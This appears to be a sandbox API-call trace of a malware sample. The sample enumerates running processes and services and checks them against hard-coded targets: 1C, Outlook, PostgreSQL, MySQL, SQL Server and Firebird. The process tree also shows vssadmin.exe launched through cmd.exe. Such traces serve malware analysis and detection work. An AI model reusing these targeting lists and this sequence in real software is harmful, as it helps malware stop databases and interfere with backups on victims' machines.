HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f93008 | out: hHeap=0x5a0000) returned 1 [0063.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0063.866] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.866] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.867] lstrlenW (lpString="System") returned 6 [0063.867] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0063.867] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0063.867] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0063.867] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0063.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0063.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0063.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0063.867] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.867] lstrlenW (lpString="smss.exe") returned 8 [0063.868] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0063.868] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.868] lstrlenW (lpString="csrss.exe") returned 9 [0063.868] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0063.868] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0063.868] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0063.869] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0063.869] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0063.869] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0063.869] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.869] lstrlenW (lpString="wininit.exe") returned 11 [0063.869] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0063.869] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0063.869] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0063.870] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.870] lstrlenW (lpString="csrss.exe") returned 9 [0063.870] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.871] lstrlenW (lpString="winlogon.exe") returned 12 [0063.871] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.871] lstrlenW (lpString="services.exe") returned 12 [0063.871] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.872] lstrlenW (lpString="lsass.exe") returned 9 [0063.872] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.872] lstrlenW (lpString="lsm.exe") returned 7 [0063.872] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.873] lstrlenW (lpString="svchost.exe") returned 11 [0063.873] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.873] lstrlenW (lpString="svchost.exe") returned 11 [0063.873] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.874] lstrlenW (lpString="svchost.exe") returned 11 [0063.874] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.875] lstrlenW (lpString="svchost.exe") returned 11 [0063.875] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.875] lstrlenW (lpString="svchost.exe") returned 11 [0063.875] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.876] lstrlenW (lpString="audiodg.exe") returned 11 [0063.876] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.876] lstrlenW (lpString="svchost.exe") returned 11 [0063.876] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.877] lstrlenW (lpString="svchost.exe") returned 11 [0063.877] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.877] lstrlenW (lpString="dwm.exe") returned 7 [0063.877] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.878] lstrlenW (lpString="explorer.exe") returned 12 [0063.878] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.878] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.878] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.879] lstrlenW (lpString="taskhost.exe") returned 12 [0063.879] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.879] lstrlenW (lpString="svchost.exe") returned 11 [0063.880] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0063.880] lstrlenW (lpString="taskeng.exe") returned 11 [0063.880] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.881] lstrlenW (lpString="taskhost.exe") returned 12 [0063.881] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0063.881] lstrlenW (lpString="promotesrouting.exe") returned 19 [0063.881] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0063.882] lstrlenW (lpString="rxcalled.exe") returned 12 [0063.882] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0063.882] lstrlenW (lpString="off.exe") returned 7 [0063.882] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0063.883] lstrlenW (lpString="mayorintl.exe") returned 13 [0063.883] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0063.883] lstrlenW (lpString="gzip-june.exe") returned 13 [0063.883] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0063.884] lstrlenW (lpString="lsnavy.exe") returned 10 [0063.884] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0063.884] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0063.884] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0063.885] lstrlenW (lpString="specifications.exe") returned 18 [0063.885] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0063.885] lstrlenW (lpString="soup-mario.exe") returned 14 [0063.885] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0063.886] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0063.886] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0063.886] lstrlenW (lpString="platformsprivate.exe") returned 20 [0063.887] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0063.887] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0063.887] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0063.888] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0063.888] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0063.888] lstrlenW (lpString="scan-allows.exe") returned 15 [0063.888] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0063.889] lstrlenW (lpString="mwprovince.exe") returned 14 [0063.889] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0063.890] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0063.890] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0063.890] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0063.890] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0063.891] lstrlenW (lpString="contacting.exe") returned 14 [0063.891] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0063.891] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0063.891] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0063.892] lstrlenW (lpString="jpmanagers.exe") returned 14 [0063.892] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0063.892] lstrlenW (lpString="motor.exe") returned 9 [0063.892] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0064.113] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0064.114] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0064.114] lstrlenW (lpString="toshiba.exe") returned 11 [0064.114] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.115] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.115] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0064.115] lstrlenW (lpString="mobsync.exe") returned 11 [0064.115] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0064.116] lstrlenW (lpString="3G6885.exe") returned 10 [0064.116] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.116] lstrlenW (lpString="cmd.exe") returned 7 [0064.116] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.117] lstrlenW (lpString="conhost.exe") returned 11 [0064.117] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.117] lstrlenW (lpString="vssadmin.exe") returned 12 [0064.117] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.118] lstrlenW (lpString="VSSVC.exe") returned 9 [0064.118] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.118] lstrlenW (lpString="svchost.exe") returned 11 [0064.118] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0064.119] CloseHandle (hObject=0x1ec) returned 1 [0064.119] Sleep (dwMilliseconds=0x1f4) [0064.705] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640058 [0064.705] EnumServicesStatusExW (in: hSCManager=0x640058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0064.706] GetLastError () returned 0xea [0064.706] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f93008 [0064.706] EnumServicesStatusExW (in: hSCManager=0x640058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f93008, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f93008, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0064.706] CloseServiceHandle (hSCObject=0x640058) returned 1 [0064.706] lstrlenW (lpString="Appinfo") returned 7 [0064.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0064.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0064.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0064.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0064.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0064.707] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0064.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.707] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0064.707] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0064.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0064.707] lstrlenW (lpString="AudioSrv") returned 8 [0064.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0064.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0064.707] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0064.707] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0064.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0064.707] lstrlenW (lpString="BFE") returned 3 [0064.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0064.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0064.707] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0064.707] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0064.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0064.707] lstrlenW (lpString="CryptSvc") returned 8 [0064.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0064.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0064.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 